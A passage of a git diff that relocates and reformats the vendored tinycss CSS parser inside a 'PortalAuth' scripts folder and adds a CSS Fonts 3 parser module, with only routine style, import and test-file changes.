tokens[0] - expected_len = 7 # 2 spaces, 2 commas, 3 others. - assert len(token.content) == expected_len diff --git a/PortalAuth/includes/scripts/libs/tinycss/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py old mode 100755 new mode 100644 similarity index 85% rename from PortalAuth/includes/scripts/libs/tinycss/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py index 9eca2b1..aba135c --- a/PortalAuth/includes/scripts/libs/tinycss/__init__.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss ------- @@ -9,17 +9,18 @@ :license: BSD, see LICENSE for more details. """ -import sys - from .version import VERSION -__version__ = VERSION from .css21 import CSS21Parser from .page3 import CSSPage3Parser +from .fonts3 import CSSFonts3Parser +__version__ = VERSION + PARSER_MODULES = { 'page3': CSSPage3Parser, + 'fonts3': CSSFonts3Parser, } @@ -30,6 +31,8 @@ def make_parser(*features, **kwargs): Positional arguments are base classes the new parser class will extend. The string ``'page3'`` is accepted as short for :class:`~page3.CSSPage3Parser`. + The string ``'fonts3'`` is accepted as short for + :class:`~fonts3.CSSFonts3Parser`. :param kwargs: Keyword arguments are passed to the parser’s constructor. :returns: diff --git a/PortalAuth/includes/scripts/libs/tinycss/color3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py old mode 100755 new mode 100644 similarity index 99% rename from PortalAuth/includes/scripts/libs/tinycss/color3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py index 187196e..92eed46 --- a/PortalAuth/includes/scripts/libs/tinycss/color3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.colors3 --------------- @@ -13,7 +13,8 @@ :license: BSD, see LICENSE for more details. """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals + import collections import itertools import re diff --git a/PortalAuth/includes/scripts/libs/tinycss/css21.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py old mode 100755 new mode 100644 similarity index 94% rename from PortalAuth/includes/scripts/libs/tinycss/css21.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py index 3b2e1f9..e611a5e --- a/PortalAuth/includes/scripts/libs/tinycss/css21.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.css21 ------------- @@ -11,13 +11,15 @@ """ from __future__ import unicode_literals + from itertools import chain, islice from .decoding import decode +from .parsing import ( + ParseError, remove_whitespace, split_on_comma, strip_whitespace, + validate_any, validate_value) from .token_data import TokenList from .tokenizer import tokenize_grouped -from .parsing import (strip_whitespace, remove_whitespace, split_on_comma, - validate_value, validate_block, validate_any, ParseError) # stylesheet : [ CDO | CDC | S | statement ]*; @@ -293,7 +295,6 @@ class ImportRule(object): ' {0.uri}>'.format(self)) - def _remove_at_charset(tokens): """Remove any valid @charset at the beggining of a token stream. @@ -307,8 +308,8 @@ def _remove_at_charset(tokens): header = list(islice(tokens, 4)) if [t.type for t in header] == ['ATKEYWORD', 'S', 'STRING', ';']: atkw, space, string, semicolon = header - if ((atkw.value, space.value) == ('@charset', ' ') - and string.as_css()[0] == '"'): + if ((atkw.value, space.value) == ('@charset', ' ') and + string.as_css()[0] == '"'): # Found a valid @charset rule, only keep what’s after it. return tokens return chain(header, tokens) @@ -331,7 +332,7 @@ class CSS21Parser(object): # User API: def parse_stylesheet_file(self, css_file, protocol_encoding=None, - linking_encoding=None, document_encoding=None): + linking_encoding=None, document_encoding=None): """Parse a stylesheet from a file or filename. Character encoding-related parameters and behavior are the same @@ -482,8 +483,6 @@ class CSS21Parser(object): return AtRule(at_keyword, head, body, at_keyword_token.line, at_keyword_token.column) - at_page_allowed_contexts = ['stylesheet'] - def parse_at_rule(self, rule, previous_rules, errors, context): """Parse an at-rule. @@ -510,12 +509,13 @@ class CSS21Parser(object): """ if rule.at_keyword == '@page': - if context not in self.at_page_allowed_contexts: + if context != 'stylesheet': raise ParseError(rule, '@page rule not allowed in ' + context) selector, specificity = self.parse_page_selector(rule.head) if rule.body is None: - raise ParseError(rule, - 'invalid {0} rule: missing block'.format(rule.at_keyword)) + raise ParseError( + rule, 'invalid {0} rule: missing block'.format( + rule.at_keyword)) declarations, at_rules, rule_errors = \ self.parse_declarations_and_at_rules(rule.body, '@page') errors.extend(rule_errors) @@ -529,32 +529,34 @@ class CSS21Parser(object): raise ParseError(rule, 'expected media types for @media') media = self.parse_media(rule.head) if rule.body is None: - raise ParseError(rule, - 'invalid {0} rule: missing block'.format(rule.at_keyword)) + raise ParseError( + rule, 'invalid {0} rule: missing block'.format( + rule.at_keyword)) rules, rule_errors = self.parse_rules(rule.body, '@media') errors.extend(rule_errors) return MediaRule(media, rules, rule.line, rule.column) elif rule.at_keyword == '@import': if context != 'stylesheet': - raise ParseError(rule, - '@import rule not allowed in ' + context) + raise ParseError( + rule, '@import rule not allowed in ' + context) for previous_rule in previous_rules: if previous_rule.at_keyword not in ('@charset', '@import'): if previous_rule.at_keyword: type_ = 'an {0} rule'.format(previous_rule.at_keyword) else: type_ = 'a ruleset' - raise ParseError(previous_rule, + raise ParseError( + previous_rule, '@import rule not allowed after ' + type_) head = rule.head if not head: - raise ParseError(rule, - 'expected URI or STRING for @import rule') + raise ParseError( + rule, 'expected URI or STRING for @import rule') if head[0].type not in ('URI', 'STRING'): - raise ParseError(rule, - 'expected URI or STRING for @import rule, got ' - + head[0].type) + raise ParseError( + rule, 'expected URI or STRING for @import rule, got ' + + head[0].type) uri = head[0].value media = self.parse_media(strip_whitespace(head[1:])) if rule.body is not None: @@ -567,8 +569,9 @@ class CSS21Parser(object): raise ParseError(rule, 'mis-placed or malformed @charset rule') else: - raise ParseError(rule, 'unknown at-rule in {0} context: {1}' - .format(context, rule.at_keyword)) + raise ParseError( + rule, 'unknown at-rule in {0} context: {1}'.format( + context, rule.at_keyword)) def parse_media(self, tokens): """For CSS 2.1, parse a list of media types. @@ -590,8 +593,9 @@ class CSS21Parser(object): if types == ['IDENT']: media_types.append(part[0].value) else: - raise ParseError(tokens[0], 'expected a media type' - + ((', got ' + ', '.join(types)) if types else '')) + raise ParseError( + tokens[0], 'expected a media type' + + ((', got ' + ', '.join(types)) if types else '')) return media_types def parse_page_selector(self, tokens): @@ -609,8 +613,8 @@ class CSS21Parser(object): """ if not tokens: return None, (0, 0) - if (len(tokens) == 2 and tokens[0].type == ':' - and tokens[1].type == 'IDENT'): + if (len(tokens) == 2 and tokens[0].type == ':' and + tokens[1].type == 'IDENT'): pseudo_class = tokens[1].value specificity = { 'first': (1, 0), 'left': (0, 1), 'right': (0, 1), @@ -679,8 +683,9 @@ class CSS21Parser(object): for one ruleset. :return: a tuple of a :class:`RuleSet` and an error list. - The errors are recovered :class:`~.parsing.ParseError` in declarations. - (Parsing continues from the next declaration on such errors.) + The errors are recovered :class:`~.parsing.ParseError` in + declarations. (Parsing continues from the next declaration on such + errors.) :raises: :class:`~.parsing.ParseError` if the selector is invalid for the core grammar. @@ -767,8 +772,9 @@ class CSS21Parser(object): # CSS syntax is case-insensitive property_name = name_token.value.lower() else: - raise ParseError(name_token, - 'expected a property name, got {0}'.format(name_token.type)) + raise ParseError( + name_token, 'expected a property name, got {0}'.format( + name_token.type)) token = name_token # In case ``tokens`` is now empty for token in tokens: diff --git a/PortalAuth/includes/scripts/libs/tinycss/decoding.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py old mode 100755 new mode 100644 similarity index 61% rename from PortalAuth/includes/scripts/libs/tinycss/decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py index 6303e1a..09875a5 --- a/PortalAuth/includes/scripts/libs/tinycss/decoding.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.decoding ---------------- @@ -12,11 +12,9 @@ from __future__ import unicode_literals -from binascii import unhexlify import operator import re -import sys - +from binascii import unhexlify __all__ = ['decode'] # Everything else is implementation detail @@ -116,101 +114,101 @@ Slice = Slicer() ENCODING_MAGIC_NUMBERS = [ ((Slice[:], ''), re.compile( - hex2re('EF BB BF 40 63 68 61 72 73 65 74 20 22') - + b'([^\x22]*?)' - + hex2re('22 3B')).match), + hex2re('EF BB BF 40 63 68 61 72 73 65 74 20 22') + + b'([^\x22]*?)' + + hex2re('22 3B')).match), ('UTF-8', re.compile( hex2re('EF BB BF')).match), ((Slice[:], ''), re.compile( - hex2re('40 63 68 61 72 73 65 74 20 22') - + b'([^\x22]*?)' - + hex2re('22 3B')).match), + hex2re('40 63 68 61 72 73 65 74 20 22') + + b'([^\x22]*?)' + + hex2re('22 3B')).match), ((Slice[1::2], '-BE'), re.compile( hex2re('FE FF 00 40 00 63 00 68 00 61 00 72 00 73 00 65 00' - '74 00 20 00 22') - + b'((\x00[^\x22])*?)' - + hex2re('00 22 00 3B')).match), + '74 00 20 00 22') + + b'((\x00[^\x22])*?)' + + hex2re('00 22 00 3B')).match), ((Slice[1::2], '-BE'), re.compile( hex2re('00 40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 00' - '20 00 22') - + b'((\x00[^\x22])*?)' - + hex2re('00 22 00 3B')).match), + '20 00 22') + + b'((\x00[^\x22])*?)' + + hex2re('00 22 00 3B')).match), ((Slice[::2], '-LE'), re.compile( hex2re('FF FE 40 00 63 00 68 00 61 00 72 00 73 00 65 00 74' - '00 20 00 22 00') - + b'(([^\x22]\x00)*?)' - + hex2re('22 00 3B 00')).match), + '00 20 00 22 00') + + b'(([^\x22]\x00)*?)' + + hex2re('22 00 3B 00')).match), ((Slice[::2], '-LE'), re.compile( hex2re('40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 00 20' - '00 22 00') - + b'(([^\x22]\x00)*?)' - + hex2re('22 00 3B 00')).match), + '00 22 00') + + b'(([^\x22]\x00)*?)' + + hex2re('22 00 3B 00')).match), ((Slice[3::4], '-BE'), re.compile( hex2re('00 00 FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00' '00 00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00' - '00 74 00 00 00 20 00 00 00 22') - + b'((\x00\x00\x00[^\x22])*?)' - + hex2re('00 00 00 22 00 00 00 3B')).match), + '00 74 00 00 00 20 00 00 00 22') + + b'((\x00\x00\x00[^\x22])*?)' + + hex2re('00 00 00 22 00 00 00 3B')).match), ((Slice[3::4], '-BE'), re.compile( hex2re('00 00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00' '00 00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00' - '00 20 00 00 00 22') - + b'((\x00\x00\x00[^\x22])*?)' - + hex2re('00 00 00 22 00 00 00 3B')).match), + '00 20 00 00 00 22') + + b'((\x00\x00\x00[^\x22])*?)' + + hex2re('00 00 00 22 00 00 00 3B')).match), -# Python does not support 2143 or 3412 endianness, AFAIK. -# I guess we could fix it up ourselves but meh. Patches welcome. + # Python does not support 2143 or 3412 endianness, AFAIK. + # I guess we could fix it up ourselves but meh. Patches welcome. -# ((Slice[2::4], '-2143'), re.compile( -# hex2re('00 00 FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00' -# '00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00' -# '74 00 00 00 20 00 00 00 22 00') -# + b'((\x00\x00[^\x22]\x00)*?)' -# + hex2re('00 00 22 00 00 00 3B 00')).match), + # ((Slice[2::4], '-2143'), re.compile( + # hex2re('00 00 FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00' + # '00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00' + # '74 00 00 00 20 00 00 00 22 00') + + # b'((\x00\x00[^\x22]\x00)*?)' + + # hex2re('00 00 22 00 00 00 3B 00')).match), -# ((Slice[2::4], '-2143'), re.compile( -# hex2re('00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00' -# '00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00' -# '20 00 00 00 22 00') -# + b'((\x00\x00[^\x22]\x00)*?)' -# + hex2re('00 00 22 00 00 00 3B 00')).match), + # ((Slice[2::4], '-2143'), re.compile( + # hex2re('00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00' + # '00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00' + # '20 00 00 00 22 00') + + # b'((\x00\x00[^\x22]\x00)*?)' + + # hex2re('00 00 22 00 00 00 3B 00')).match), -# ((Slice[1::4], '-3412'), re.compile( -# hex2re('FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00 00 00' -# '61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74' -# '00 00 00 20 00 00 00 22 00 00') -# + b'((\x00[^\x22]\x00\x00)*?)' -# + hex2re('00 22 00 00 00 3B 00 00')).match), + # ((Slice[1::4], '-3412'), re.compile( + # hex2re('FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00 00 00' + # '61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74' + # '00 00 00 20 00 00 00 22 00 00') + + # b'((\x00[^\x22]\x00\x00)*?)' + + # hex2re('00 22 00 00 00 3B 00 00')).match), -# ((Slice[1::4], '-3412'), re.compile( -# hex2re('00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00' -# '72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20' -# '00 00 00 22 00 00') -# + b'((\x00[^\x22]\x00\x00)*?)' -# + hex2re('00 22 00 00 00 3B 00 00')).match), + # ((Slice[1::4], '-3412'), re.compile( + # hex2re('00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00' + # '72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20' + # '00 00 00 22 00 00') + + # b'((\x00[^\x22]\x00\x00)*?)' + + # hex2re('00 22 00 00 00 3B 00 00')).match), ((Slice[::4], '-LE'), re.compile( hex2re('FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00 00 61' '00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74 00' - '00 00 20 00 00 00 22 00 00 00') - + b'(([^\x22]\x00\x00\x00)*?)' - + hex2re('22 00 00 00 3B 00 00 00')).match), + '00 00 20 00 00 00 22 00 00 00') + + b'(([^\x22]\x00\x00\x00)*?)' + + hex2re('22 00 00 00 3B 00 00 00')).match), ((Slice[::4], '-LE'), re.compile( hex2re('40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00 72' '00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20 00' - '00 00 22 00 00 00') - + b'(([^\x22]\x00\x00\x00)*?)' - + hex2re('22 00 00 00 3B 00 00 00')).match), + '00 00 22 00 00 00') + + b'(([^\x22]\x00\x00\x00)*?)' + + hex2re('22 00 00 00 3B 00 00 00')).match), ('UTF-32-BE', re.compile( hex2re('00 00 FE FF')).match), @@ -218,11 +216,11 @@ ENCODING_MAGIC_NUMBERS = [ ('UTF-32-LE', re.compile( hex2re('FF FE 00 00')).match), -# ('UTF-32-2143', re.compile( -# hex2re('00 00 FF FE')).match), + # ('UTF-32-2143', re.compile( + # hex2re('00 00 FF FE')).match), -# ('UTF-32-3412', re.compile( -# hex2re('FE FF 00 00')).match), + # ('UTF-32-3412', re.compile( + # hex2re('FE FF 00 00')).match), ('UTF-16-BE', re.compile( hex2re('FE FF')).match), @@ -231,24 +229,24 @@ ENCODING_MAGIC_NUMBERS = [ hex2re('FF FE')).match), -# Some of there are supported by Python, but I didn’t bother. -# You know the story with patches ... + # Some of there are supported by Python, but I didn’t bother. + # You know the story with patches ... -# # as specified, transcoded from EBCDIC to ASCII -# ('as_specified-EBCDIC', re.compile( -# hex2re('7C 83 88 81 99 A2 85 A3 40 7F') -# + b'([^\x7F]*?)' -# + hex2re('7F 5E')).match), + # # as specified, transcoded from EBCDIC to ASCII + # ('as_specified-EBCDIC', re.compile( + # hex2re('7C 83 88 81 99 A2 85 A3 40 7F') + # + b'([^\x7F]*?)' + # + hex2re('7F 5E')).match), -# # as specified, transcoded from IBM1026 to ASCII -# ('as_specified-IBM1026', re.compile( -# hex2re('AE 83 88 81 99 A2 85 A3 40 FC') -# + b'([^\xFC]*?)' -# + hex2re('FC 5E')).match), + # # as specified, transcoded from IBM1026 to ASCII + # ('as_specified-IBM1026', re.compile( + # hex2re('AE 83 88 81 99 A2 85 A3 40 FC') + # + b'([^\xFC]*?)' + # + hex2re('FC 5E')).match), -# # as specified, transcoded from GSM 03.38 to ASCII -# ('as_specified-GSM_03.38', re.compile( -# hex2re('00 63 68 61 72 73 65 74 20 22') -# + b'([^\x22]*?)' -# + hex2re('22 3B')).match), + # # as specified, transcoded from GSM 03.38 to ASCII + # ('as_specified-GSM_03.38', re.compile( + # hex2re('00 63 68 61 72 73 65 74 20 22') + # + b'([^\x22]*?)' + # + hex2re('22 3B')).match), ] diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py new file mode 100644 index 0000000..c1f96a6 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py @@ -0,0 +1,200 @@ +# coding: utf-8 +""" + tinycss.colors3 + --------------- + + Parser for CSS 3 Fonts syntax: + https://www.w3.org/TR/css-fonts-3/ + + Adds support for font-face and font-feature-values rules. + + :copyright: (c) 2016 by Kozea. + :license: BSD, see LICENSE for more details. +""" + +from __future__ import division, unicode_literals + +from .css21 import CSS21Parser, ParseError + + +class FontFaceRule(object): + """A parsed at-rule for font faces. + + .. attribute:: at_keyword + + Always ``'@font-face'``. + + .. attribute:: declarations + + A list of :class:`~.css21.Declaration` objects. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + """ + + def __init__(self, at_keyword, declarations, line, column): + assert at_keyword == '@font-face' + self.at_keyword = at_keyword + self.declarations = declarations + self.line = line + self.column = column + + +class FontFeatureValuesRule(object): + """A parsed at-rule for font feature values. + + .. attribute:: at_keyword + + Always ``'@font-feature-values'``. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + .. attribute:: at_rules + + The list of parsed at-rules inside the @font-feature-values block, in + source order. + + .. attribute:: family_names + + A list of strings representing font families. + + """ + + def __init__(self, at_keyword, at_rules, family_names, line, column): + assert at_keyword == '@font-feature-values' + self.at_keyword = at_keyword + self.family_names = family_names + self.at_rules = at_rules + self.line = line + self.column = column + + +class FontFeatureRule(object): + """A parsed at-rule for font features. + + .. attribute:: at_keyword + + One of the 16 following strings: + + * ``@stylistic`` + * ``@styleset`` + * ``@character-variant`` + * ``@swash`` + * ``@ornaments`` + * ``@annotation`` + + .. attribute:: declarations + + A list of :class:`~.css21.Declaration` objects. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + """ + + def __init__(self, at_keyword, declarations, line, column): + self.at_keyword = at_keyword + self.declarations = declarations + self.line = line + self.column = column + + +class CSSFonts3Parser(CSS21Parser): + """Extend :class:`~.css21.CSS21Parser` for `CSS 3 Fonts`_ syntax. + + .. _CSS 3 Fonts: https://www.w3.org/TR/css-fonts-3/ + + """ + + FONT_FEATURE_VALUES_AT_KEYWORDS = [ + '@stylistic', + '@styleset', + '@character-variant', + '@swash', + '@ornaments', + '@annotation', + ] + + def parse_at_rule(self, rule, previous_rules, errors, context): + if rule.at_keyword == '@font-face': + if rule.head: + raise ParseError( + rule.head[0], + 'unexpected {0} token in {1} rule header'.format( + rule.head[0].type, rule.at_keyword)) + declarations, body_errors = self.parse_declaration_list(rule.body) + errors.extend(body_errors) + return FontFaceRule( + rule.at_keyword, declarations, rule.line, rule.column) + elif rule.at_keyword == '@font-feature-values': + family_names = tuple( + self.parse_font_feature_values_family_names(rule.head)) + at_rules, body_errors = ( + self.parse_rules(rule.body or [], '@font-feature-values')) + errors.extend(body_errors) + return FontFeatureValuesRule( + rule.at_keyword, at_rules, family_names, + rule.line, rule.column) + elif rule.at_keyword in self.FONT_FEATURE_VALUES_AT_KEYWORDS: + if context != '@font-feature-values': + raise ParseError( + rule, '{0} rule not allowed in {1}'.format( + rule.at_keyword, context)) + declarations, body_errors = self.parse_declaration_list(rule.body) + errors.extend(body_errors) + return FontFeatureRule( + rule.at_keyword, declarations, rule.line, rule.column) + return super(CSSFonts3Parser, self).parse_at_rule( + rule, previous_rules, errors, context) + + def parse_font_feature_values_family_names(self, tokens): + """Parse an @font-feature-values selector. + + :param tokens: + An iterable of token, typically from the ``head`` attribute of + an unparsed :class:`AtRule`. + :returns: + A generator of strings representing font families. + :raises: + :class:`~.parsing.ParseError` on invalid selectors + + """ + family = '' + current_string = False + for token in tokens: + if token.type == 'DELIM' and token.value == ',' and family: + yield family + family = '' + current_string = False + elif token.type == 'STRING' and not family and ( + current_string is False): + family = token.value + current_string = True + elif token.type == 'IDENT' and not current_string: + if family: + family += ' ' + family += token.value + elif token.type != 'S': + family = '' + break + if family: + yield family + else: + raise ParseError(token, 'invalid @font-feature-values selector') diff --git a/PortalAuth/includes/scripts/libs/tinycss/page3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py old mode 100755 new mode 100644 similarity index 86% rename from PortalAuth/includes/scripts/libs/tinycss/page3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py index 97ce217..6a89252 --- a/PortalAuth/includes/scripts/libs/tinycss/page3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.page3 ------------------ @@ -12,7 +12,8 @@ :license: BSD, see LICENSE for more details. """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals + from .css21 import CSS21Parser, ParseError @@ -107,21 +108,21 @@ class CSSPage3Parser(CSS21Parser): '@right-bottom', ] - at_page_allowed_contexts = ['stylesheet', '@media'] - def parse_at_rule(self, rule, previous_rules, errors, context): if rule.at_keyword in self.PAGE_MARGIN_AT_KEYWORDS: if context != '@page': - raise ParseError(rule, - '%s rule not allowed in %s' % (rule.at_keyword, context)) + raise ParseError( + rule, '{0} rule not allowed in {1}'.format( + rule.at_keyword, context)) if rule.head: - raise ParseError(rule.head[0], - 'unexpected %s token in %s rule header' - % (rule.head[0].type, rule.at_keyword)) + raise ParseError( + rule.head[0], + 'unexpected {0} token in {1} rule header'.format( + rule.head[0].type, rule.at_keyword)) declarations, body_errors = self.parse_declaration_list(rule.body) errors.extend(body_errors) - return MarginRule(rule.at_keyword, declarations, - rule.line, rule.column) + return MarginRule( + rule.at_keyword, declarations, rule.line, rule.column) return super(CSSPage3Parser, self).parse_at_rule( rule, previous_rules, errors, context) @@ -149,11 +150,9 @@ class CSSPage3Parser(CSS21Parser): else: name = None name_specificity = (0,) - if (len(head) == 2 and head[0].type == ':' - and head[1].type == 'IDENT'): + if (len(head) == 2 and head[0].type == ':' and + head[1].type == 'IDENT'): pseudo_class = head[1].value - # :blank is defined in GCPM: - # http://dev.w3.org/csswg/css3-gcpm/#styling-blank-pages specificity = { 'first': (1, 0), 'blank': (1, 0), 'left': (0, 1), 'right': (0, 1), diff --git a/PortalAuth/includes/scripts/libs/tinycss/parsing.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/parsing.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py index 86e93c0..c01e9c2 --- a/PortalAuth/includes/scripts/libs/tinycss/parsing.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.parsing --------------- @@ -95,6 +95,7 @@ def validate_value(tokens): else: validate_any(token, 'property value') + def validate_block(tokens, context): """ :raises: @@ -132,8 +133,8 @@ def validate_any(token, context): adjective = 'unmatched' else: adjective = 'unexpected' - raise ParseError(token, - '{0} {1} token in {2}'.format(adjective, type_, context)) + raise ParseError( + token, '{0} {1} token in {2}'.format(adjective, type_, context)) class ParseError(ValueError): diff --git a/PortalAuth/includes/scripts/libs/tinycss/speedups.pyx b/PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx old mode 100755 new mode 100644 similarity index 99% rename from PortalAuth/includes/scripts/libs/tinycss/speedups.pyx rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx index cb75aee..49edfa2 --- a/PortalAuth/includes/scripts/libs/tinycss/speedups.pyx +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.speedups ---------------- diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py old mode 100755 new mode 100644 similarity index 70% rename from PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py index c7a89e0..af7a49e --- a/PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Test suite for tinycss ---------------------- @@ -10,6 +10,14 @@ from __future__ import unicode_literals +import sys + + +# Awful workaround to fix isort's "sys.setdefaultencoding('utf-8')". +if sys.version_info[0] == 2: + reload(sys) # noqa + sys.setdefaultencoding('ascii') + def assert_errors(errors, expected_errors): """Test not complete error messages but only substrings.""" diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/speed.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/tests/speed.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py index 2777d4b..860e5df --- a/PortalAuth/includes/scripts/libs/tinycss/tests/speed.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Speed tests ----------- @@ -11,13 +11,13 @@ """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals -import sys -import os.path import contextlib -import timeit import functools +import os.path +import sys +import timeit from cssutils import parseString @@ -25,7 +25,6 @@ from .. import tokenizer from ..css21 import CSS21Parser from ..parsing import remove_whitespace - CSS_REPEAT = 4 TIMEIT_REPEAT = 3 TIMEIT_NUMBER = 20 @@ -82,8 +81,6 @@ def parse_cssutils(): def check_consistency(): result = parse_python() - #import pprint - #pprint.pprint(result) assert len(result) > 0 if tokenizer.cython_tokenize_flat: assert parse_cython() == result diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py index 01caa3f..a0510b9 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the public API ------------------------ @@ -9,10 +9,8 @@ from __future__ import unicode_literals -import itertools from pytest import raises - from tinycss import make_parser from tinycss.page3 import CSSPage3Parser diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py old mode 100755 new mode 100644 similarity index 80% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py index 3d86785..e48771e --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the CSS 3 color parser -------------------------------- @@ -11,8 +11,7 @@ from __future__ import unicode_literals import pytest - -from tinycss.color3 import parse_color_string, hsl_to_rgb +from tinycss.color3 import hsl_to_rgb, parse_color_string @pytest.mark.parametrize(('css_source', 'expected_result'), [ @@ -172,30 +171,30 @@ def test_color(css_source, expected_result): @pytest.mark.parametrize(('hsl', 'expected_rgb'), [ # http://en.wikipedia.org/wiki/HSL_and_HSV#Examples - ((0, 0, 100 ), (1, 1, 1 )), - ((127, 0, 100 ), (1, 1, 1 )), - ((0, 0, 50 ), (0.5, 0.5, 0.5 )), - ((127, 0, 50 ), (0.5, 0.5, 0.5 )), - ((0, 0, 0 ), (0, 0, 0 )), - ((127, 0, 0 ), (0, 0, 0 )), - ((0, 100, 50 ), (1, 0, 0 )), - ((60, 100, 37.5), (0.75, 0.75, 0 )), - ((780, 100, 37.5), (0.75, 0.75, 0 )), - ((-300, 100, 37.5), (0.75, 0.75, 0 )), - ((120, 100, 25 ), (0, 0.5, 0 )), - ((180, 100, 75 ), (0.5, 1, 1 )), - ((240, 100, 75 ), (0.5, 0.5, 1 )), - ((300, 50, 50 ), (0.75, 0.25, 0.75 )), - ((61.8, 63.8, 39.3), (0.628, 0.643, 0.142)), - ((251.1, 83.2, 51.1), (0.255, 0.104, 0.918)), - ((134.9, 70.7, 39.6), (0.116, 0.675, 0.255)), - ((49.5, 89.3, 49.7), (0.941, 0.785, 0.053)), - ((283.7, 77.5, 54.2), (0.704, 0.187, 0.897)), - ((14.3, 81.7, 62.4), (0.931, 